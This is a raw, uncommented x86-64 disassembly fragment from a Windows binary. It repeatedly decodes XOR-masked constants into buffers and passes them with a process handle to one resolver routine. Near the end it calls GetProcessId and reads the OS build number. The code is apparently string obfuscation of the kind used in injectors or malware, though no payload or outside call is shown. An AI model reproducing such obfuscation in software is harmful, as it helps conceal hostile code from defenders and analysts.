lea rax, [rbp + 0x5f0]
lea rcx, [rbp + 0x1b0]
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001b620
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rbp + 0x5f0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x170], rax
movabs rax, 0x13d12c31158f21cb
mov qword [rsp + 0x30], rax
movabs rax, 0x1964ff1ec7584590
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rsi
movabs rcx, 0xe0000000200090e8
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x76a35e4456fb448c
mov qword [rsp + 0x70], rax
movabs rax, 0x7d059a6caf0c31fe
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x70], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x80], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x90], xmm5
lea rax, [rsp + 0x30]
lea rcx, [rbp + 0x60]
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001b770
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x178], rax
movabs rax, 0x5396c5c3f978747
mov qword [rsp + 0x30], rax
movabs rax, 0xa16dc9454943243
mov qword [rsp + 0x38], rax
movabs rax, 0x78ae9c61332a1
mov qword [rsp + 0x40], rax
movabs rax, 0x542d062ced28fec8
mov qword [rsp + 0x48], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7350183f7ee3e200
mov qword [rsp + 0x70], rax
movabs rax, 0x7965b9f73be66226
mov qword [rsp + 0x78], rax
movabs rax, 0x4377ff86b45440ce
mov qword [rbp - 0x80], rax
movabs rax, 0x542d062c99468ba7
mov qword [rbp - 0x78], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x780], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x790], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x7a0], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x7b0], xmm3
lea rax, [rbp + 0x1b0]
lea rcx, [rbp + 0x780]
mov rdx, rbx
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001b8b1
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea r8, [rbp + 0x1b0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x180], rax
movabs rax, 0x9d66cca7198199d
mov qword [rsp + 0x30], rax
movabs rax, 0x1f5d770da22b3cb0
mov qword [rsp + 0x38], rax
movabs rax, 0x1e3cc97a06bfd022
mov qword [rsp + 0x40], rax
movabs rcx, 0x92962368954ee5d
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7fbf18a930ec7cda
mov qword [rsp + 0x70], rax
movabs rax, 0x6c2e126ecd596cd5
mov qword [rsp + 0x78], rax
movabs rax, 0x1e48a70f69fca24d
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x1d0], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x1e0], xmm3
lea rax, [rbp + 0x5f0]
lea rcx, [rbp + 0x1b0]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001ba10
lea r8, [rbp + 0x5f0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x188], rax
movabs rax, 0x12a1628ddb5bb69b
mov qword [rsp + 0x30], rax
movabs rax, 0x5fae97f50ab6ca5
mov qword [rsp + 0x38], rax
movabs rax, 0xa5055f4df84c8a7
mov qword [rsp + 0x40], rax
movabs rcx, 0x8739f4a519e56cf
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x73c410e58f2fd3c8
mov qword [rsp + 0x70], rax
movabs rax, 0x63bb990a3fd92bc1
mov qword [rsp + 0x78], rax
movabs rax, 0xa502c80b6eaa1c1
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x1d0], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x1e0], xmm3
lea rax, [rbp + 0x5f0]
lea rcx, [rbp + 0x1b0]
mov rdx, r15
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001bb50
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rbp + 0x5f0]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x190], rax
movabs rax, 0xa55b2e3419576b5
mov qword [rsp + 0x30], rax
movabs rax, 0x1ead37dc37657664
mov qword [rsp + 0x38], rax
movabs rax, 0x86b5c80e5
mov qword [rsp + 0x40], rax
movabs rcx, 0x4f1b0f96fa6
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6f27c09602e113f2
mov qword [rsp + 0x70], rax
movabs rax, 0x6dc854b34535020a
mov qword [rsp + 0x78], rax
movabs rax, 0x86b38c996
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0xc00], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0xc10], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0xc20], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0xc30], xmm3
lea rax, [rbp + 0x60]
lea rcx, [rbp + 0xc00]
mov rdx, r15
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001bcc0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x60]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x198], rax
movabs rax, 0x92d34a32c5ee8ea
mov qword [rsp + 0x30], rax
movabs rax, 0x202e194bf1427879
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rsi
movabs rcx, 0xe000000020009938
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x655850cc612a8dad
mov qword [rsp + 0x70], rax
movabs rax, 0x774b752f9f23301c
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x70], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x80], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x90], xmm5
lea rax, [rsp + 0x30]
lea rcx, [rbp + 0x60]
mov rdx, r15
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001bdf0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1a0], rax
movabs rax, 0x813ec849024c189
mov qword [rsp + 0x30], rax
movabs rax, 0x1655445568be70c8
mov qword [rsp + 0x38], rax
movabs rax, 0x1fffffffe6dedb8c
mov qword [rsp + 0x40], rax
movabs rcx, 0xe000000017700dd8
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x646688ebdd50a4ce
mov qword [rsp + 0x70], rax
movabs rax, 0x7b340a3004d736ad
mov qword [rsp + 0x78], rax
movabs rax, 0x1fffffffe6de8ce9
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0xc00], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0xc10], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0xc20], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0xc30], xmm5
lea rax, [rbp + 0x60]
lea rcx, [rbp + 0xc00]
mov rdx, r15
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001bf30
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
lea r8, [rbp + 0x60]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1a8], rax
movabs rax, 0x7ad93e381a895e0
mov qword [rbp + 0x3590], rax
movabs rax, 0x76c6a585488b1052
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x75fdf697e0cde7a3
mov qword [rbp + 0x35b0], rax
movabs rax, 0x76c6f2f63bee733d
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1b0], rax
movabs rax, 0x375a3c1f18dad20
mov qword [rsp + 0x30], rax
movabs rax, 0x1423bfe45c708002
mov qword [rsp + 0x38], rax
movabs rax, 0x10ae2dc2d606badf
mov qword [rsp + 0x40], rax
movabs rax, 0x71e8c7b318d0f3ce
mov qword [rsp + 0x48], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6a01caafb8e1d972
mov qword [rsp + 0x70], rax
movabs rax, 0x7d51fc812619ec63
mov qword [rsp + 0x78], rax
movabs rax, 0x73cb7eaeb765d3ab
mov qword [rbp - 0x80], rax
movabs rax, 0x71e8c7b376bf9aba
mov qword [rbp - 0x78], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x780], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x790], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x7a0], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x7b0], xmm5
lea rax, [rbp + 0x1480]
lea rcx, [rbp + 0x780]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001c190
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea r8, [rbp + 0x1480]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1b8], rax
movabs rax, 0x4735836e11d9ddf
mov qword [rsp + 0x30], rax
movabs rax, 0x1d814c820fd8bdb9
mov qword [rsp + 0x38], rax
movabs rax, 0x58a77a1a9ac4089
mov qword [rsp + 0x40], rax
movabs rcx, 0xf2bbfcdbe2a7fac
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x61053953ad71e98d
mov qword [rsp + 0x70], rax
movabs rax, 0x71e02feb7bb1cffa
mov qword [rsp + 0x78], rax
movabs rax, 0x5e418c8ddcf25da
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rbp - 0x80]
pxor xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x1d0], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x1e0], xmm5
lea rax, [rbp + 0x5f0]
lea rcx, [rbp + 0x1b0]
mov rdx, rbx
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001c2f0
lea r8, [rbp + 0x5f0]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1c0], rax
movabs rax, 0xe8d6c0528357b8e
mov qword [rsp + 0x30], rax
movabs rax, 0x173fc311a86f9729
mov qword [rsp + 0x38], rax
movabs rax, 0x454424dcf7de527
mov qword [rsp + 0x40], rax
movabs rcx, 0x120e15a35d03d3de
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7ce8186b6d590fdc
mov qword [rsp + 0x70], rax
movabs rax, 0x7b5ea078dc06e56a
mov qword [rsp + 0x78], rax
movabs rax, 0x43a2d24bb1e8074
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x1c0], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x1d0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x1e0], xmm5
lea rax, [rbp + 0x5f0]
lea rcx, [rbp + 0x1b0]
mov rdx, rbx
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001c430
lea r8, [rbp + 0x5f0]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1c8], rax
movabs rax, 0xa01cc103852ef55
mov qword [rsp + 0x30], rax
movabs rax, 0x1f13bfa75d6bbd57
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rsi
movabs rcx, 0xe0000000200080a0
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6565b86550019b1b
mov qword [rsp + 0x70], rax
movabs rax, 0x7276cbd42438d320
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x70]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x70], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x80], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x90], xmm5
lea rax, [rsp + 0x30]
lea rcx, [rbp + 0x60]
mov rdx, r15
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001c550
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rsp + 0x30]
mov rdx, r13
mov rcx, r14
call fcn.1400511f0
mov qword [rdi + 0x1d0], rax
mov rax, qword [0x1402007b8]
mov qword [rdi + 0x48], rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rdi], eax
mov eax, dword [0x7ffe0260]
mov dword [rbp + 0x40], eax
movabs rcx, 0x1c862673229958e1
mov qword [rbp + 0x3590], rcx
movabs rax, 0x67e3834dacd29bde
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x70e2081f4efd2caf
mov qword [rbp + 0x35b0], rax
movabs rax, 0x67e3834dacd29bb2
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rsp + 0x30], xmm0
pxor xmm2, xmm1
movdqa xmmword [rsp + 0x40], xmm2
lea rcx, [rbp + 0x60]
lea rax, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
